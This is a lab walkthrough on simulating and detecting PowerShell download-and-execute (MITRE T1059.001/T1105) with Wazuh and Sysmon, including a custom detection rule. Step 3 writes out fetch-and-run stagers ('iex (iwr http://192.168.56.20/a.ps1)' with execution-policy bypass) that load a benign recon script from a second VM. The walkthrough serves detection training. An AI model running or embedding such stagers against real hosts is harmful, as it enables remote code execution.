Simulating & Detecting PowerShell Ingress Tool Transfer

In this walkthrough, we step away from basic interactive PowerShell usage to simulate a far more realistic adversary technique: downloading and executing an external PowerShell script directly in memory via an internal web server.

This scenario explicitly maps to MITRE ATT&CK T1059.001 (PowerShell) and T1105 (Ingress Tool Transfer).

🎯 Lab Overview & Attack Diagram

Our objective is to host a harmless recon script on an attacker machine, download it directly to memory on the target host, execute it, and catch the resulting telemetry in Wazuh.

TEXT 
 Attattacker (Kali / Linux VM)                Target (Windows VM)
┌────────────────────────────┐              ┌───────────────────┐
│ Host a.ps1 via HTTP        │              │ Executes PowerShell│
│ python -m http.server 80   │              │ in-memory download│
└─────────────┬──────────────┘              └─────────┬─────────┘
              │                                       │
              └────────────── HTTP Request ───────────┘
                       [http://192.168.56.20/a.ps1](http://192.168.56.20/a.ps1)
                                                      │
                                                      ▼
                                            ┌───────────────────┐
                                            │  Wazuh / Sysmon   │
                                            │  Generates Alert  │
                                            └───────────────────┘

Pro Tip: While you can test this using 127.0.0.1, using a distinct second VM (e.g., Kali or Ubuntu at 192.168.56.20) generates actual cross-network traffic, making your Sysmon and SIEM logs significantly more authentic for portfolio writeups.

🛠 Step 1: Create the Payload Script

On the attacker host, create a benign PowerShell script named a.ps1 that performs standard host reconnaissance:

PowerShell

CODE 
Write-Host "=== PowerShell Recon Test ==="

whoami
hostname
Get-Date
Get-Process | Select-Object -First 5

Write-Host "=== Execution Completed ==="

🌐 Step 2: Host the Script via HTTP

Spin up a lightweight Python HTTP server in the directory containing a.ps1:

Bash

CODE 
python3 -m http.server 80

Verify reachability by opening a browser on the target machine and navigating to http://192.168.56.20/a.ps1.

⚡ Step 3: Execute In-Memory Download & Stager

From the target Windows host, run the following execution string. This fetches the payload and evaluates it directly in memory without writing the .ps1 file to disk:

From CMD / External Stager:

DOS

CODE 
powershell.exe -ExecutionPolicy Bypass -Command "iex (iwr [http://192.168.56.20/a.ps1](http://192.168.56.20/a.ps1) -UseBasicParsing)"

From an Active PowerShell Session:

PowerShell

CODE 
iex (Invoke-WebRequest [http://192.168.56.20/a.ps1](http://192.168.56.20/a.ps1) -UseBasicParsing).Content

🔍 Step 4: SIEM Detection & Investigation

Once executed, check your Wazuh Dashboard for telemetry generated by Sysmon and Windows Event Logs.

Key Detection Indicators

  • Process Creation: powershell.exe spawned with execution policy bypass flags.

  • Command Line Strings: Presence of Invoke-WebRequest, iwr, or iex in process arguments.

  • Network Connections: Outbound HTTP connections initiated by powershell.exe to external/internal IPs.

  • Script Block Logging: Event ID 4104 capturing the full uncompiled script content.

Useful Wazuh Search Queries

Filter your Wazuh discovery tab using the following terms:

  • powershell.exe

  • Invoke-WebRequest

  • iwr

  • a.ps1

  • 192.168.56.20

🛡 Step 5: Custom Detection Rule Construction

If your default Wazuh rule set doesn't trigger a high-severity alert for this activity, add a custom detection rule matching the command line patterns mapped to MITRE ATT&CK techniques:

XML

CODE 
<group name="sysmon,powershell,attack_t1059.001,">
  <rule id="100050" level="10">
    <if_sid>61603</if_sid> <!-- Sysmon Event 1: Process Creation -->
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(Invoke-WebRequest|iwr).*iex</field>
    <description>Suspicious PowerShell Download and Execute (In-Memory Stager)</description>
    <mitre>
      <id>T1059.001</id>
      <id>T1105</id>
    </mitre>
  </rule>
</group>